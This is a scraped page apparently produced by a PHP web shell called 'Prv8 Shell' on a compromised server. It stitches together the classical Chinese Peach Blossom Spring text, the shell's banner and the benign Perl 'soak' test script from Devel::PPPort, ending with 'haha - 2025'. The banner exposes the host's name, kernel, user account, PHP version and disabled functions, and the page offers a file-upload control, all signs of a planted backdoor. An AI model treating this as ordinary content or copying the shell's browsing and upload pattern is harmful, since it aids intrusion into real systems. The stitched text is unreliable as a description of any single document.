.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /usr/share/doc/perl-Devel-PPPort/

Upload File :

Current File : //usr/share/doc/perl-Devel-PPPort/soak

#!/usr/bin/perl -w
################################################################################
#
#  soak -- Test Perl modules with multiple Perl releases.
#
#  Original Author: Paul Marquess
#
################################################################################
#
#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
#  Version 2.x, Copyright (C) 2001, Paul Marquess.
#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
#
#  This program is free software; you can redistribute it and/or
#  modify it under the same terms as Perl itself.
#
################################################################################

require 5.006001;

use strict;
use warnings;
use ExtUtils::MakeMaker;
use Getopt::Long;
use Pod::Usage;
use File::Find;
use List::Util qw(max);
use Config;

my $VERSION = '3.36';

$| = 1;
my %OPT = (
  verbose => 0,
  make    => $Config{make} || 'make',
  min     => '5.000',
  color   => 1,
);

GetOptions(\%OPT, qw(verbose make=s min=s mmargs=s@ color!)) or pod2usage(2);

$OPT{mmargs} = [''] unless exists $OPT{mmargs};
$OPT{min}    = parse_version($OPT{min}) - 1e-10;

sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }

my @GoodPerls = map  { $_->[0] }
                sort { $a->[1] <=> $b->[1] or $a->[0] cmp $b->[0] }
                grep { $_->[1] >= $OPT{min} }
                map  { [$_ => perl_version($_)] }
                @ARGV ? SearchPerls(@ARGV) : FindPerls();

unless (@GoodPerls) {
  print "Sorry, got no Perl binaries for testing.\n\n";
  exit 0;
}

my $maxlen = max(map length, @GoodPerls) + 3;
my $mmalen = max(map length, @{$OPT{mmargs}});
$maxlen += $mmalen+3 if $mmalen > 0;

my $rep = Soak::Reporter->new( verbose => $OPT{verbose}
                             , color   => $OPT{color}
                             , width   => $maxlen
                             );

$SIG{__WARN__} = sub { $rep->warn(@_) };
$SIG{__DIE__}  = sub { $rep->die(@_)  };

# prime the pump, so the first "make realclean" will work.
runit("$^X Makefile.PL") && runit("$OPT{make} realclean")
    or $rep->die("Cannot run $^X Makefile.PL && $OPT{make} realclean\n");

my $tot = @GoodPerls*@{$OPT{mmargs}};

$rep->set(tests => $tot);

$rep->status(sprintf("Testing %d version%s / %d configuration%s (%d combination%s)...\n",
                     cs(@GoodPerls), cs(@{$OPT{mmargs}}), cs($tot)));

for my $perl (@GoodPerls) {
  for my $mm (@{$OPT{mmargs}}) {
    $rep->set(perl => $perl, config => $mm);

    $rep->test;

    my @warn_mfpl;
    my @warn_make;
    my @warn_test;

    my $ok = runit("$perl Makefile.PL $mm", \@warn_mfpl) &&
             runit("$OPT{make}", \@warn_make) &&
             runit("$OPT{make} test", \@warn_test);

    $rep->warnings(['Makefile.PL' => \@warn_mfpl],
                   ['make'        => \@warn_make],
                   ['make test'   => \@warn_test]);

    if ($ok) {
      $rep->passed;
    }
    else {
      $rep->failed;
    }

    runit("$OPT{make} realclean");
  }
}

exit $rep->finish;

sub runit
{
  # TODO -- portability alert!!

  my($cmd, $warn) = @_;
  $rep->vsay("\n    Running [$cmd]");
  my $output = `$cmd 2>&1`;
  $output = "\n" unless defined $output;
  $output =~ s/^/    > /gm;
  $rep->say("\n    Output:\n$output") if $OPT{verbose} || $?;
  if ($?) {
    $rep->warn("    Running '$cmd' failed: $?\n");
    return 0;
  }
  push @$warn, $output =~ /(warning: .*)/ig;
  return 1;
}

sub FindPerls
{
  # TODO -- need to decide how far back we go.
  # TODO -- get list of user releases prior to 5.004
  # TODO -- does not work on Windows (at least)

  # find versions of Perl that are available
  my @PerlBinaries = qw(
    5.000
    5.001
    5.002
    5.003
    5.004 5.00401 5.00402 5.00403 5.00404 5.00405
    5.005 5.00501 5.00502 5.00503 5.00504
    5.6.0 5.6.1 5.6.2
    5.7.0 5.7.1 5.7.2 5.7.3
    5.8.0 5.8.1 5.8.2 5.8.3 5.8.4 5.8.5 5.8.6 5.8.7 5.8.8
    5.9.0 5.9.1 5.9.2 5.9.3
  );

  print "Searching for Perl binaries...\n";

  # find_perl will send a warning to STDOUT if it can't find
  # the requested perl, so need to temporarily silence STDOUT.
  tie *STDOUT, 'NoSTDOUT';

  my $mm = MM->new( { NAME => 'dummy' });
  my @path = $mm->path;
  my @GoodPerls;

  for my $perl (@PerlBinaries) {
    if (my $abs = $mm->find_perl($perl, ["perl$perl"], \@path, 0)) {
      push @GoodPerls, $abs;
    }
  }

  untie *STDOUT;

  print "\nFound:\n", (map "    $_\n", @GoodPerls), "\n";

  return @GoodPerls;
}

sub SearchPerls
{
  my @args = @_;
  my @perls;

  for my $arg (@args) {
    if (-d $arg) {
      my @found;
      print "Searching for Perl binaries in '$arg'...\n";
      find({ wanted => sub {
             $File::Find::name =~ m!perl5[\w._]+$!
                 and -f $File::Find::name
                 and -x $File::Find::name
                 and perl_version($File::Find::name)
                 and push @found, $File::Find::name;
           }, follow => 1 }, $arg);
      printf "Found %d Perl binar%s in '%s'.\n\n", cs(@found, 'y', 'ies'), $arg;
      push @perls, @found;
    }
    else {
      push @perls, $arg;
    }
  }

  return @perls;
}

sub perl_version
{
  my $perl = shift;
  my $ver = `$perl -e 'print \$]' 2>&1`;
  return $? == 0 && $ver =~ /^\d+\.\d+/ && $ver >= 5 ? $ver : 0;
}

sub parse_version
{
  my $ver = shift;

  if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
    return $1 + 1e-3*$2 + 1e-6*$3;
  }
  elsif ($ver =~ /^\d+\.[\d_]+$/) {
    $ver =~ s/_//g;
    return $ver;
  }

  die "cannot parse version '$ver'\n";
}

package NoSTDOUT;

use Tie::Handle;
our @ISA = qw(Tie::Handle);

sub TIEHANDLE { bless \(my $s = ''), shift }
sub PRINT {}
sub WRITE {}

package Soak::Reporter;

use strict;

sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }

sub new
{
  my $class = shift;
  bless {
    tests   => undef,
    color   => 1,
    verbose => 0,
    @_,
    _cur    => 0,
    _atbol  => 1,
    _total  => 0,
    _good   => [],
    _bad    => [],
  }, $class;
}

sub colored
{
  my $self = shift;

  if ($self->{color}) {
    my $c = eval {
      require Term::ANSIColor;
      Term::ANSIColor::colored(@_);
    };

    if ($@) {
      $self->{color} = 0;
    }
    else {
      return $c;
    }
  }

  return $_[0];
}

sub _config
{
  my $self = shift;
  return $self->{config} =~ /\S+/ ? " ($self->{config})" : '';
}

sub _progress
{
  my $self = shift;
  return '' unless defined $self->{tests};
  my $tlen = length $self->{tests};
  my $text = sprintf "[%${tlen}d/%${tlen}d] ", $self->{_cur}, $self->{tests};
  return $self->colored($text, 'bold');
}

sub _test
{
  my $self = shift;
  return $self->_progress . "Testing "
         . $self->colored($self->{perl}, 'blue')
         . $self->colored($self->_config, 'green');
}

sub _testlen
{
  my $self = shift;
  return length("Testing " . $self->{perl} . $self->_config);
}

sub _dots
{
  my $self = shift;
  return '.' x $self->_dotslen;
}

sub _dotslen
{
  my $self = shift;
  return $self->{width} - length($self->{perl} . $self->_config);
}

sub _sep
{
  my $self = shift;
  my $width = shift;
  $self->print($self->colored('-'x$width, 'bold'), "\n");
}

sub _vsep
{
  goto &_sep if $_[0]->{verbose};
}

sub set
{
  my $self = shift;
  while (@_) {
    my($k, $v) = splice @_, 0, 2;
    $self->{$k} = $v;
  }
}

sub test
{
  my $self = shift;
  $self->{_cur}++;
  $self->_vsep($self->_testlen);
  $self->print($self->_test, $self->{verbose} ? "\n" : ' ' . $self->_dots . ' ');
  $self->_vsep($self->_testlen);
}

sub _warnings
{
  my($self, $mode) = @_;

  my $warnings = 0;
  my $differ   = 0;

  for my $w (@{$self->{_warnings}}) {
    if (@{$w->[1]}) {
      $warnings += @{$w->[1]};
      $differ++;
    }
  }

  my $rv = '';

  if ($warnings) {
    if ($mode eq 'summary') {
      $rv .= sprintf " (%d warning%s", cs($warnings);
    }
    else {
      $rv .= "\n";
    }

    for my $w (@{$self->{_warnings}}) {
      if (@{$w->[1]}) {
        if ($mode eq 'detail') {
          $rv .= "  Warnings during '$w->[0]':\n";
          my $cnt = 1;
          for my $msg (@{$w->[1]}) {
            $rv .= sprintf "    [%d] %s", $cnt++, $msg;
          }
          $rv .= "\n";
        }
        else {
          unless ($self->{verbose}) {
            $rv .= $differ == 1 ? " during " . $w->[0]
                                : sprintf(", %d during %s", scalar @{$w->[1]}, $w->[0]);
          }
        }
      }
    }

    if ($mode eq 'summary') {
      $rv .= ')';
    }
  }

  return $rv;
}

sub _result
{
  my($self, $text, $color) = @_;
  my $sum = $self->_warnings('summary');
  my $len = $self->_testlen + $self->_dotslen + length($text) + length($sum) + 2;

  $self->_vsep($len);
  $self->print($self->_test, ' ', $self->_dots, ' ') if $self->{verbose} || $self->{_atbol};
  $self->print($self->colored($text, $color));
  $self->print($self->colored($sum, 'red'));
  $self->print("\n");
  $self->_vsep($len);
  $self->print($self->_warnings('detail')) if $self->{verbose};
  $self->{_total}++;
}

sub passed
{
  my $self = shift;
  $self->_result(@_, 'ok', 'bold green');
  push @{$self->{_good}}, [$self->{perl}, $self->{config}];
}

sub failed
{
  my $self = shift;
  $self->_result(@_, 'not ok', 'bold red');
  push @{$self->{_bad}}, [$self->{perl}, $self->{config}];
}

sub warnings
{
  my $self = shift;
  $self->{_warnings} = \@_;
}

sub _tobol
{
  my $self = shift;
  print "\n" unless $self->{_atbol};
  $self->{_atbol} = 1;
}

sub print
{
  my $self = shift;
  my $text = join '', @_;
  print $text;
  $self->{_atbol} = $text =~ /[\r\n]$/;
}

sub say
{
  my $self = shift;
  $self->_tobol;
  $self->print(@_, "\n");
}

sub vsay
{
  goto &say if $_[0]->{verbose};
}

sub warn
{
  my $self = shift;
  $self->say($self->colored(join('', @_), 'red'));
}

sub die
{
  my $self = shift;
  $self->say($self->colored(join('', 'FATAL: ', @_), 'bold red'));
  exit -1;
}

sub status
{
  my($self, $text) = @_;
  $self->_tobol;
  $self->print($self->colored($text, 'bold'), "\n");
}

sub finish
{
  my $self = shift;

  if (@{$self->{_bad}}) {
    $self->status("\nFailed with:");
    for my $fail (@{$self->{_bad}}) {
      my($perl, $cfg) = @$fail;
      $self->set(config => $cfg);
      $self->say("    ", $self->colored($perl, 'blue'), $self->colored($self->_config, 'green'));
    }
  }

  $self->status(sprintf("\nPassed with %d of %d combination%s.\n",
                        scalar @{$self->{_good}}, cs($self->{_total})));

  return scalar @{$self->{_bad}};
}

__END__

=head1 NAME

soak - Test Perl modules with multiple Perl releases

=head1 SYNOPSIS

  soak [options] [perl ...]

  --make=program     override name of make program ($Config{make})
  --min=version      use at least this version of perl
  --mmargs=options   pass options to Makefile.PL (multiple --mmargs possible)
  --verbose          be verbose
  --nocolor          don't use colored output

=head1 DESCRIPTION

The F<soak> utility can be used to test Perl modules with
multiple Perl releases or build options. It automates the
task of running F<Makefile.PL> and the modules test suite.

It is not primarily intended for cross-platform checking,
so don't expect it to work on all platforms.

=head1 EXAMPLES

To test your favourite module, just change to its root
directory (where the F<Makefile.PL> is located) and run:

  soak

This will automatically look for Perl binaries installed
on your system.

Alternatively, you can explicitly pass F<soak> a list of
Perl binaries:

  soak perl5.8.6 perl5.9.2

Last but not least, you can pass it a list of directories
to recursively search for Perl binaries, for example:

  soak /tmp/perl/install /usr/bin

All of the above examples will run

  perl Makefile.PL
  make
  make test

for your module and report success or failure.

If your F<Makefile.PL> can take arguments, you may also
want to test different configurations for your module.
You can do so with the I<--mmargs> option:

  soak --mmargs=' ' --mmargs='CCFLAGS=-Wextra' --mmargs='enable-debug'

This will run

  perl Makefile.PL
  make
  make test
  perl Makefile.PL CCFLAGS=-Wextra
  make
  make test
  perl Makefile.PL enable-debug
  make
  make test

for each Perl binary.

If you have a directory full of different Perl binaries,
but your module isn't expected to work with ancient perls,
you can use the I<--min> option to specify the minimum
version a Perl binary must have to be chosen for testing:

  soak --min=5.8.1

Usually, the output of F<soak> is rather terse, to give
you a good overview. If you'd like to see more of what's
going on, use the I<--verbose> option:

  soak --verbose

=head1 COPYRIGHT

Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.

Version 2.x, Copyright (C) 2001, Paul Marquess.

Version 1.x, Copyright (C) 1999, Kenneth Albanowski.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 SEE ALSO

See L<Devel::PPPort>.

=cut

haha - 2025